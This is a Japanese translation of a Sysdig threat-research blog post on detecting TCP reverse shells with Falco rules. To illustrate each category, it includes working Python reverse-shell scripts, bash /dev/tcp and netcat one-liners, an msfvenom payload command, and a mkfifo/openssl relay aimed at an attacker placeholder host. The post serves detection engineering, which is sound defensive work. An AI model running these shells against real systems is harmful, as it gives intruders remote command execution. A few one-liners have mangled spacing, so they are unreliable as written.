リバースシェルを追跡する:Sysdig脅威リサーチチームがより賢い検知ルールを構築する方法

Image

Sysdig Threat Research Team (TRT) は、攻撃者の戦術や手法を継続的に分析し、その洞察をSysdigの顧客およびオープンソースのFalcoユーザー向けの効果的な検知ルールへと変換しています。本ブログでは、初期の発見から本番運用可能な検知に至るまで、新しい検知を作成するための私たちのプロセスを紹介します。

私たちのルールは、誤検知を最小化しつつ、攻撃を示唆し得る不審な活動を浮かび上がらせるのに十分な広さを保つというバランスを取っています。実際の攻撃者がよく用いる一般的な手法であるリバースシェルを題材に、複数のリバースシェルの種類の構造を分解し、旧来の検知手法の限界を確認し、効果的なルールをどのように開発するかを示します。

リバースシェルとは?

リバースシェルは、主に攻撃者が標的システムを制御し、コマンドを実行するために用いるリモートアクセス手段です。「リバース」と呼ばれるのは、従来のリモートアクセス手法とは異なり、侵害されたマシンが攻撃者のシステムへ接続を開始する(その逆ではない)ためです。

このアプローチは、ファイアウォールやネットワーク設定によって受信接続がブロックされる場合に、攻撃者にとって都合が良いものです。例えば、内部サーバーは外部システムが直接接続を確立できないようにファイアウォールで保護されていることがよくあります。しかし、これらのサーバーはソフトウェア更新などの正当な目的のために、外向き接続を開始することは通常許可されています。リバースシェルは、侵害されたマシンに攻撃者のマシンへの接続を開始させることでこの抜け穴を利用し、そのような制限を実質的に回避します。

Image

代表的なリバースシェルコマンドの例を以下に示します。これらの人気のあるWebシェルは軽量で信頼性が高く、Bash、Netcat、またはMetasploitが提供する高度なツールを介して容易に起動できます。

# bash
bash -i >& /dev/tcp/10.0.0.1/42420>&1
# netcat
nc -e /bin/sh 10.0.0.14242
# msfvenom
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.elf

大まかに言うと、リバースシェルを実行する際、攻撃者は自分のマシン上でリスナーを立て、着信接続を待ち受けます。標的システムが接続すると、攻撃者は被害者マシン上のコマンドラインインターフェース(CLI)を得て、任意のコマンド実行、ファイルシステムの探索、ネットワーク内の他領域への横展開が可能になります。

リバースシェルはMITRE ATT&CKの戦術Execution(TA0002)に該当し、組織にとって最も懸念すべき脅威の一つです。そのため、意味があり実行可能な検知を提供するために、その挙動について広範な調査を行っています。

しかし、すべてのリバースシェル実行が同じというわけではありません。大きな違いは、被害者と攻撃者のマシンを接続するために使用されるプロトコル(TCP、UDP、ICMP)です。本記事ではTCPベースの接続プロトコルのみに焦点を当てます。

さらに、標準入出力をソケットへリダイレクトする方法、悪意ある実行に伴うプロセス間通信の性質、呼び出されるシステムコールなど、リバースシェルには他にも主要な低レベル実装上の違いがあります。

TCPリバースシェルのカテゴリ

リバースシェルを分類する際には、いくつかの要素を考慮できます:

  • どのプロセスがリモート接続を作成するか。
  • どのシステムコール(syscall)が関与するか。
  • ファイルディスクリプタ、STDIN、STDOUTおよび/またはSTDERRがどのようにソケットへリダイレクトされるか。
  • シェルプロセスがファイルディスクリプタを使って接続をどのように扱うか:
    • STDIN、STDOUT、またはSTDERRを介して直接扱う
    • または、別の中間プロセスを用いて間接的に扱い、pipeやsocketpairなど異なるIPCメカニズムで通信する

これらの要素により、複数のインタプリタ言語またはコンパイル言語で実装可能な、さまざまなリバースシェル手法を整理できます。本記事ではPython実装を示します。理由は、単純であることと、syscallを直接呼び出すための有用なラッパーがあるためです。

リバースシェル手法の詳細に入る前に、まずリバースシェルの構成要素と、Linuxオペレーティングシステムが提供するsyscallを紹介します。

リバースシェルの構造

リバースシェルの構成要素は次のとおりです:

  • 実行
  • リモート接続
  • 子プロセスの作成
  • ファイルディスクリプタ操作
  • プロセス間通信

実行

新しいプログラムを実行する必要がある場合、execve/execveat syscallsが呼び出されます。これらのsyscallは新しい実行ファイルをプロセスのメモリ空間にロードし、呼び出し元プロセスを新たに起動されたプロセスに置き換えます。リバースシェルを起動するコマンドを実行したとき、また攻撃者のマシンからリモートで新しい任意コマンドが実行されるたびに、これらのsyscallを目にすることになります。

リモート接続

被害者マシンを攻撃者が制御するマシンへ接続し返し、情報を送受信するための通信チャネルを確立することは重要です。後者は異なるプロトコルや技術で実装できます。通常、Linuxシステムではリモート接続は少数のsyscallで扱われます:

  • Socket:通信のエンドポイントを作成します(TCPプロトコルを使用)。
  • Connect:ファイルディスクリプタ上のソケットで接続を開始するために使用できます。

子プロセスの作成

並列実行の同時処理、並行タスクの実行、独立した実行フローの作成など、さまざまな理由でプロセスが自分自身をforkまたはcloneする必要がある場合があります。この場合、2種類のsyscallが呼び出される可能性があります:

  • fork/vfork:親のコピーとして完全に新しいプロセスを作成します。
  • clone/clone3:fork/vforkに似ていますが、親と共有するものをより細かく制御でき、スレッド作成にも使用できます。

プロセス間通信(IPC)

fork/clone後に複数のプロセスが動作し、互いに通信する必要がある場合、プロセス間通信チャネルによりメッセージやデータなどを交換できます。リバースシェルがforkまたはcloneし、次のようなsyscallで通信するのは非常に一般的です:

  • pipe/pipe2:親子など関連する2プロセス間に、書き込み端から読み取り端への単方向通信チャネルを作成します。
  • socketpair:接続されたソケットのペアで双方向通信チャネルを作成し、両端が読み書きできます。プロセス同士が無関係でも利用可能です。NodeJSアプリケーションでよく使われ、マルチスレッドのシナリオでも一般的です。

ファイルディスクリプタ操作

最後に、リバースシェルのもう一つの構成要素は、ファイルディスクリプタを標準入力(STDIN)、標準出力(STDOUT)、標準エラー(STDERR)へリダイレクトすることです。リバースシェルでは既存のファイルディスクリプタを複製し、接続ソケットやパイプ端をSTDIN/STDOUTへリダイレクトするのが一般的です。STDERRのリダイレクトは任意ですが、エラーメッセージや診断用のプロンプト出力など重要な情報を攻撃者に提供するため、しばしば有用です。

既存のファイルディスクリプタを複製してリダイレクトするには、次のsyscallが使用できます:

  • dup:指定したファイルディスクリプタを複製し、利用可能な最小のファイルディスクリプタを取得します。
  • dup2/dup3:複製後に使用する新しいファイルディスクリプタを指定できます。多くの場合、新しいファイルディスクリプタはそれぞれ0/1/2stdin/stdout/stderr)になります。
  • fcntl:op引数にF_DUPFDを用いることで、新しいファイルディスクリプタの最小許容値を指定しつつ、既存のファイルディスクリプタを複製できます。 

リバースシェルのsyscallと構成要素のまとめ

次の表では、前述のsyscallと構成要素を、関連ドキュメント参照とともに要約しています。

カテゴリ1:ネットワークへリダイレクトされた入出力による直接シェル実行

私たちが特定した最初で最も単純なリバースシェルのカテゴリを、以下のコードスニペットで示します。このスニペットは接続済みソケットを作成し、 dup2を使ってソケットのファイルディスクリプタを標準入力・標準出力・標準エラーへ複製し、その後、fcntl などでFD_CLOEXECフラグが明示的に設定されていない限り、execve() 呼び出しを跨いでもファイルディスクリプタが開いたままになるというデフォルト動作に依存します。その結果、execveがプロセスのメモリを新しい実行ファイル(この場合はシェル)に置き換えても、STDINとSTDOUTは接続済みTCPソケットに紐づいたままとなり、通常の読み書き操作をネットワーク越しに行えるようになります。

import os
import socket
import sys
import fcntl

def main():
    # Read server IP and port from environment variables
    SERVER_IP = os.getenv("REVERSE_SHELL_SERVER", "127.0.0.1")
    SERVER_PORT = int(os.getenv("REVERSE_SHELL_PORT", "4444"))

try:
        # Create a socket
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        # Connect to the attacker's server
        sock.connect((SERVER_IP, SERVER_PORT))
        # Duplicate the socket to stdin, stdout, and stderr
        os.dup2(sock.fileno(), 0)  # stdin
        os.dup2(sock.fileno(), 1)  # stdout
        os.dup2(sock.fileno(), 2)  # stderr
        # Execute a shell
        os.execl("/bin/sh", "-i")
    except Exception as e:
        print(f"Error: {e}")
        sys.exit(1)
if __name__ == "__main__":
    main()

多くの一般的なペイロードがこのリバースシェルカテゴリに該当します。これには、この参考資料に列挙されている多くのコマンド、例えばbash TCPpythonphpの実行、そしてlinux/x86/shell/reverse_tcp linux/x64/shell/reverse_tcpなどの複数の標準的な非meterpreterバイナリも含まれます。これらは広く知られたMetasploitフレームワークで作成できます。この手法は、侵害されたシステムと即座に対話するために、エクスプロイトでも一般的です。

このリバースシェルカテゴリは、SysdigのルールReverse Shell Detectedで検知されます:

- macro: spawned_process
condition: (evt.type in (execve, execveat) and evt.dir=< and evt.arg.res=0)

- list: shell_binaries
items: [ash, bash, csh, ksh, sh, tcsh, zsh, dash]

- macro: shell_procs
condition: proc.name in (shell_binaries)

- rule: Reverse Shell Detected
desc: このルールはリバースシェルの生成を検知します。リバースシェルとは、stdinおよびstdoutまたはstderrのいずれかのファイルハンドルがネットワーク接続へリダイレクトされたシェルプロセスです。これは攻撃者が侵害されたシステムへのリモートアクセスを得るために用いる一般的な手法です。
condition: spawned_process and shell_procs and (proc.stdin.type in (ipv4, ipv6) and (proc.stdout.type in (ipv4, ipv6) or proc.stderr.type in (ipv4, ipv6))) and (proc.stdin.name = val(proc.stdout.name) or proc.stderr.name = val(proc.stdin.name)) and proc.stdin.name contains "->" and pname_exists and stdin_name_exists
output: リバースシェルを検知:プロセス %proc.name、親 %proc.pname、ユーザー %user.name(proc.name=%proc.name proc.exepath=%proc.exepath proc.pname=%proc.pname proc.pexepath=%proc.pexepath proc.stdin.name=%proc.stdin.name proc.stdout.name=%proc.stdout.name proc.stderr.name=%proc.stderr.name gparent=%proc.aname[2] gexepath=%proc.aexepath[2] ggparent=%proc.aname[3] ggexepath=%proc.aexepath[3] gggparent=%proc.aname[4] gggexepath=%proc.aexepath[4] image=%container.image.repository:%container.image.tag proc.pid=%proc.pid proc.cwd=%proc.cwd proc.ppid=%proc.ppid proc.cmdline=%proc.cmdline proc.pcmdline=%proc.pcmdline user=%user.name user.uid=%user.uid gcmdline=%proc.acmdline[2] ggcmdline=%proc.acmdline[3] user_loginuid=%user.loginuid container.id=%container.id container.name=%container.name)
priority: CRITICAL
tags: [falco_feed, host, container, MITRE, MITRE_TA0002_execution, MITRE_T1059_command_and_scripting_interpreter, MITRE_T1104_multi_stage_channels]

Image

カテゴリ2:二次プロセスとIPCを用いた間接的なシェル実行

TCPリバースシェルの第2カテゴリでは、メインプロセスがネットワーク接続全体を処理し、子プロセスにシェルを実行させます。親子間の通信はさまざまな方法で実現できますが、一般的なツールは無名パイプやsocketpairに大きく依存しています。

以下のコードには、ファイルディスクリプタの種類(ファイルや接続済みソケットなど)に関係なく、あるFDから別のFDへデータを転送する関数が含まれています。同じAPIでできるようにしてくれてありがとう、Linux!

main関数では、通常の接続を確立した後、親プロセスは無限ループに入る前に、シェルを実行する子プロセスと通信できることを保証します。このループでは、親プロセスが読み取り可能なFDを監視します。ネットワークから受信したデータをパイプの書き込み端を通じて子シェルへ送るか、子シェルからのコマンド出力を読み取ってソケットへ転送します。

import os
import sys
import socket
import select

def forward_data(src_fd, dst_fd):
try:
        data = os.read(src_fd, 1024)
if data:
            os.write(dst_fd, data)
else:
            # No data means the other end has closed the connection
return False
    except OSError as e:
        print(f"Error while forwarding data: {e}")
        sys.exit(1)
return True

def main():
    # Read server IP and port from environment variables
    SERVER_IP = os.getenv("REVERSE_SHELL_SERVER", "127.0.0.1")
    SERVER_PORT = int(os.getenv("REVERSE_SHELL_PORT", "4444"))

try:
        # Create a socket
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        # Connect to the attacker's server
        sock.connect((SERVER_IP, SERVER_PORT))
        # Create two pipes for bidirectional communication
        parent_to_child, child_to_parent = os.pipe(), os.pipe()
        # Fork the process
        pid = os.fork()
        if pid == 0:
            # Child process
            os.close(parent_to_child[1])  # Close the write end of parent-to-child pipe
            os.close(child_to_parent[0])  # Close the read end of child-to-parent pipe
            # Redirect stdin, stdout, and stderr to the pipes
            os.dup2(parent_to_child[0], sys.stdin.fileno())
            os.dup2(child_to_parent[1], sys.stdout.fileno())
            os.dup2(child_to_parent[1], sys.stderr.fileno())
            # Close the duplicated file descriptors
            os.close(parent_to_child[0])
            os.close(child_to_parent[1])
            # Execute a shell
            os.execl("/bin/sh", "-i")
        else:
            # Parent process
            os.close(parent_to_child[0])  # Close the read end of parent-to-child pipe
            os.close(child_to_parent[1])  # Close the write end of child-to-parent pipe
            # Use select to multiplex between the socket and the pipes
            while True:
                rlist, _, _ = select.select([sock, child_to_parent[0]], [], [])
                for r in rlist:
                    if r == sock:
                        if not forward_data(sock.fileno(), parent_to_child[1]):
                            return
                    elif r == child_to_parent[0]:
                        if not forward_data(child_to_parent[0], sock.fileno()):
                            return
    except Exception as e:
        print(f"Error: {e}")
        sys.exit(1)
if __name__ == "__main__":
    main()

双方向通信は、パイプの代わりにsocketpairを使っても実現できます。例えば、以下の行を使うと、接続されたUNIXソケットのペアを作成できます。

# Create socketpair for bidirectional communication
socks = socket.socketpair(socket.AF_UNIX, socket.SOCK_STREAM)

Image

Meterpreterバイナリmsfvenomで生成可能)、Golang実行ファイル、そして一部のJava実行ファイルはこのカテゴリに属し、IPCとしてパイプに依存します。一方、IPCチャネル確立のためのsocketpair syscallは、NodeJSアプリケーションでしばしば活用されます。

一般に、リバースシェルの実装では、接続を処理するプロセスと、シェルを実行する別プロセスを用意します。これはJavaやRubyのようなコンパイル/インタプリタ言語で生成されるリバースシェルで頻繁に行われ、forkまたはcloneした後に親子間通信を確立します。

ただし、このカテゴリでリバースシェルを実装する方法は、親子間通信を強制することだけではありません。同じ目的は、2つの兄弟プロセス(同じ親を共有し、互いに通信する2プロセス)を用いるシェルやスクリプト構成でも達成できます。

一般的な例として、socat, telnet, nc, opensslのような多目的リレーツールや、他のIPC通信(例:名前付きパイプ)を使うものがあります。以下の例のように、これらのバイナリはLiving off the Land(LotL)攻撃でよく使用されます。

user@victim$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <ATTACKER_IP>:<ATTACKER_PORT> > /tmp/s

上の例では、攻撃者はmkfifoコマンドを使って名前付きパイプを作成します。名前付きパイプは従来の無名パイプと同様に動作しますが、ファイルシステムへのリンクを持つため、そのファイルを開く任意のプロセスが読み書き操作を行い、他プロセスと通信できます。

openssl コマンドは攻撃者への接続を確立する役割を担い、受信したデータは名前付きパイプへリダイレクトされます。名前付きパイプは対話型シェルの入力としても使用され、その出力とエラーはネットワークリレー用コマンドで処理され、ループが閉じます。

Sysdigは、このリバースシェルカテゴリも、関与するsyscallやIPC抽象化に応じて、「Reverse Shell Spawned From Binary Through Pipes」「Reverse Shell Spawned From Interpreted or Compiled Program Through Pipes」「Staged Meterpreter Reverse Shell」など、複数の標準搭載ルールで検知できます。 

Image

Image

カテゴリ3:ネットワークへリダイレクトされた入出力による直接コマンド実行

このリバースシェルカテゴリは、前のカテゴリの概念を拡張したものです。二次プロセスとIPCでシェルを起動する点は同じですが、シェルを一切実行しないことで、よりステルス性を高めて検知回避を狙います。どうやって可能なのでしょうか?アイデアは、シェルの中核機能、すなわちfork + execによる他プログラムの実行を模倣(エミュレート)することです。

シェルをこの定義まで削ぎ落とし、通常のシェルが実装する入出力(I/O)リダイレクト、パイプ、変数、その他の組み込み関数のロジックをすべて削除したとします。その場合、以下のコードスニペットのようなものが残ります。

import os
import socket
import sys
import select

def execute_command(command, sock):
"""
    os.execlp を使ってコマンドを直接実行し、出力をソケット経由で送り返します。
    """try:
        # Create pipes for capturing the command's stdout and stderr
        stdout_pipe, stdout_fd = os.pipe()
        stderr_pipe, stderr_fd = os.pipe()
        pid = os.fork()
        if pid == 0:
            # Child process
            os.close(stdout_pipe)  # Close read-end of stdout pipe in child
            os.close(stderr_pipe)  # Close read-end of stderr pipe in child
            # Redirect stdout and stderr to the pipes
            os.dup2(stdout_fd, 1)  # Redirect stdout to the write end of stdout pipe
            os.dup2(stderr_fd, 2)  # Redirect stderr to the write end of stderr pipe
            # Parse the command into the program and its arguments
            args = command.split()
            if not args:
                os._exit(0)  # Exit if no command is given
            # Execute the command using os.execlp
            os.execlp(args[0], *args)
        else:
            # Parent process
            os.close(stdout_fd)  # Close write-end of stdout pipe in parent
            os.close(stderr_fd)  # Close write-end of stderr pipe in parent
            # Read and forward the output
            while True:
                # Use select to wait for data from either stdout or stderr
                rlist, _, _ = select.select([stdout_pipe, stderr_pipe], [], [])
                for ready_fd in rlist:
                    try:
                        data = os.read(ready_fd, 1024)
                        if not data:
                            return  # End of data
                        sock.sendall(data)
                    except OSError:
                        return  # Pipe closed or error occurred
    except Exception as e:
        sock.sendall(f"Error executing command: {e}\n".encode())
def main():
    # Read server IP and port from environment variables
    SERVER_IP = os.getenv("REVERSE_SHELL_SERVER", "127.0.0.1")
    SERVER_PORT = int(os.getenv("REVERSE_SHELL_PORT", "4444"))
    try:
        # Create a socket and connect to the attacker
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((SERVER_IP, SERVER_PORT))
        # Enter a loop to receive commands and execute them
        while True:
            sock.sendall(b"Shell> ")  # Prompt for the attacker
            command = sock.recv(1024).decode().strip()
            if not command:
                break
            if command.lower() in {"exit", "quit"}:
                break
            execute_command(command, sock)
    except Exception as e:
        print(f"Error: {e}")
        sys.exit(1)
if __name__ == "__main__":
    main()

ご覧のとおり、通常の接続は依然として存在し、その後、execveの直後にコマンドを直接実行できます。さらに、パイプを介して出力やエラー(あれば)を返せるようにしています。検知の観点では、依拠できる「不審なシェルプロセスの実行」が存在しないため、これは巧妙です。

このリバースシェルカテゴリの人気実装の一つが、以下に示すシェル実行です。シェルが暗黙的に関与しているためエッジケースと見なせますが、それでもネットワーク越しに読み取った内容に応じてコマンドが次々に生成される様子が分かります。

exec 5<>/dev/tcp/10.0.0.1/4242cat <&5 | while read line; do $line 2>&5 >&5; done

これらのリバースシェル手法を可視化するために、Sysdigは「Perl Remote Command Execution Detected」や「Reverse Shell Redirects STDIN/STDOUT To Socket With Pipes」など複数の検知ルールを採用しており、これらはすべてのSysdig顧客環境でデフォルトで有効になっています。

Image

検知改善の物語

Sysdig TRTは、新たな脅威を特定するための検知を継続的に作成するだけでなく、古い検知を定期的に見直して改善し、誤検知を減らしています。本セクションでは、そのプロセスを紹介します。

始まり

私たちは、リバースシェルとは何か、そしてそれをどのように検知するかを、過去の記事で検討しており、そこでDirect Shell Execution手法を扱いました。関連するFalcoルールの簡略化した条件は次のとおりでした:

 dup and
   evt.rawres in (0, 1, 2) and
   fd.type in ("ipv4", "ipv6") 

このルールは、ネットワーク接続をSTDINSTDOUTSTDERRのファイルディスクリプタへリダイレクトするプロセスを特定することに特化していました。しかし、当時の制約と理解に起因して、いくつかの重大な設計上の欠陥がありました:

  • 繰り返し発火:このルールは複数回発火するよう設計されていました。カテゴリ1で見たように、攻撃者は通常、シェルがコマンドを受け取り結果をリモートへ送れるよう、少なくとも stdinstdoutをソケットへリダイレクトしたいと考えます。しかしこのルールは、dupシステムコールの結果FDが0、1、2のいずれかで、かつ関与するFDのタイプがipv4またはipv6であるたびに発火します。
  • 接続リダイレクトへの過度な依存:検知は実際のシェルプロセスの実行に依存できず、FD 0/1/2への接続リダイレクトのみに依存していました。これは実際のシェル実行のに行われます。そのため、他の良性プロセスも標準FDをリモート接続へリダイレクトしたい場合があり、検知がノイジーになります。

これら2つの設計欠陥だけでも、接続リダイレクトへの過度な依存により誤検知が複数発生し得ること、さらに悪いことに、ルールの繰り返し発火という性質によってアラートが増幅され得ることが分かりました。

本質的に、Direct Shell Executionにおけるリバースシェル検知は、悪意ある挙動が微妙で正当な活動と容易に重なり得るため、もともと難しいものです。初期のルールは潜在的に不審なリダイレクトをフラグする良い試みでしたが、良性と悪性のユースケースを区別するための文脈と洗練が不足していました。さらに、シェル実行への依存がないことが検知ロジックを一層複雑にし、ルールがリダイレクトを後続の悪意あるシェルプロセスに明示的に結び付けられませんでした。

これを踏まえ、私たちはリバースシェル検知を磨き、改善することに取り組みました。

procのSTDIN、STDOUT、STDERRフィールドの導入

以前の検知ルールの限界を克服し、前述の他カテゴリにもより適切に対応するため、私たちは新しいフィールドを実装しました。これらは現在、Falcoでもサポートされています:

  • proc.stdin.typeproc.stdin.name
  • proc.stdout.typeproc.stdout.name。 
  • proc.stderr.typeproc.stderr.name。 

これらのフィールドは、プロセスのSTDIN、STDOUT、STDERRのタイプと名前を照合するのに有用で、syscallの文脈でfd.typefd.name が返すのと同じ値を返します。これらのフィールドにより、特定のプロセスが攻撃者マシンに紐づくソケットへ直接結果を送る場合、別の兄弟/祖先プロセスに接続されたパイプへ送る場合、あるいは一般により汎用的なプロセス間通信へ送る場合などを検知できます。

この情報をfdではなくproc フィールドクラスカテゴリの一部として実装すると、ルールが考慮するsyscallに依存せず(dup アプローチとは対照的に)プロセス自体の文脈情報として利用可能になり、proc.stdin、proc.stdout、proc.stderrの詳細をまとめて使って、より良い検知ルールを作成できます。

Direct Shell Execution with Network-Redirected I/O (カテゴリ1)で言及したように、例えば次の例のように生成されるリバースシェル:

bash -i >& /dev/tcp/10.0.0.1/42420>&1

は、以下のようにプロセスSTDINとSTDOUTのタイプと名前を持つbashシェルプロセスが起動されることを明らかにします:

{
"%proc.stdin.type": "ipv4",
"%proc.stdin.name": "127.0.0.1:35548->127.0.0.1:4242",
"%proc.stdout.type": "ipv4",
"%proc.stdout.name": "127.0.0.1:35548->127.0.0.1:4242"}

これは、前述の元のルールで発火するアラート数を減らすだけでなく、検知の関連性も向上させます。リバースシェルを引き起こすプロセスのdup/dup2 syscall呼び出しから、生成される実効的なリバースシェルの実行へと焦点を移します。

さらに、この変更はより強力な検知メカニズムを作る方法であるだけでなく、2つのプロセスがパイプで通信するような他カテゴリの検知への布石にもなります。このシナリオでは、proc.stdin/stdout.type=pipeのような別のプロセスSTDIN/STDOUTタイプを照合することで検知できます。

元のルールは、Indirect Shell Execution using a Secondary Process and IPCDirect Command Execution with Network-Redirected I/Oのような、より複雑なリバースシェルを検知するには不十分でした。これらのカテゴリでは、新しい検知アプローチの採用が必要でした。

観測(Observation)ルール

2025年、Sysdigはステートフルなワークロード検知ルールの力を解放し、新しいSysdig Runtime Behavioral Analyticsワークロードポリシーを導入しました。

Sysdigの観測検知機能への参照はこちらにありますが、ここでは、観測ルールを使って、Indirect Shell Execution using a Secondary Process and IPCDirect Command Execution with Network-Redirected I/Oのような、より複雑なリバースシェルカテゴリをどのように検知できるかを探ります。

前述のとおり、リバースシェルには複数のsyscallが関与し、それぞれが特定の構成要素に対応します。プロセスが用いるこれらの手法とsyscallを追跡することで、観測ルールは一致した場合にセキュリティアラートを発火させるアクションのグラフを描けます。観測ルールにより、先に特定したリバースシェルカテゴリに見られるような多段階の攻撃パターンを検知できます。

以下は、Indirect Shell Execution using a Secondary Process and IPCで起動されるリバースシェルを検知する例です。まずプロセスがバイナリを実行し、そのプロセスがリモートマシンへの外向き接続と、IPCのためのパイプのオープンを担当します。続いてclone操作、その他のファイルディスクリプタ操作が行われ、最終的に標準入力・標準出力がpipeタイプのシェルが実行されます。

Image

誤検知の可能性

上で言及したすべてのルール(ステートフルおよびステートレス)は、前述の3つのリバースシェルカテゴリすべてを検知するよう設計されていますが、先に挙げた構成要素(実行、リモート接続、子プロセス作成、ファイルディスクリプタ操作、プロセス間通信)が正当なプロセスでもどのように扱われるかによっては、誤検知を引き起こす可能性があります。例えば、VS Codeのリモートターミナル、WindsurfやCursorサーバーのようなツールは、一部の誤検知イベントを引き起こすことがあります。

それでも、これらのルールの誤検知率はかなり低く、いずれもSysdig Runtime Threat DetectionまたはSysdig Runtime Behavioral Analyticsポリシーに関連付けられています。Sysdig TRTは、関連する指標をプロアクティブにホワイトリスト化し、検知品質を確保するために、これら2つのポリシーを監視し綿密に調査しています。

結論

複数のリバースシェル手法を分解することで、Sysdig TRTが不審な活動の主要コンポーネントをどのように特定し、従来の検知がどこで不十分になるかを検証し、精密かつ適応性のあるルールをどのように開発するかを見てきました。提示した例は、SysdigとFalcoの検知が継続的に進化していること、そしてTRTが誤検知の最小化と意味のある脅威の捕捉の間で慎重にバランスを取っていることを示しています。こうしてSysdigは、変化するクラウド環境において、顧客とオープンソースユーザーが最新の敵対的手法から保護されることを支援します。

このような短い記事で既存のあらゆる手法を完全に網羅するのは困難です(例えば、プロセス間通信には他にも方法があり得ることを認識しており、現在も積極的に取り組んでいます)が、私たちは新しい検知ツールの実装とともにSysdigの検知がどのように進化してきたか、そしてSysdig TRTが顧客にどのような価値をもたらしているかを示したいと考えました。

翻訳元: https://www.sysdig.com/blog/hunting-reverse-shells-how-the-sysdig-threat-research-team-builds-smarter-detection-rules

ソース: sysdig.com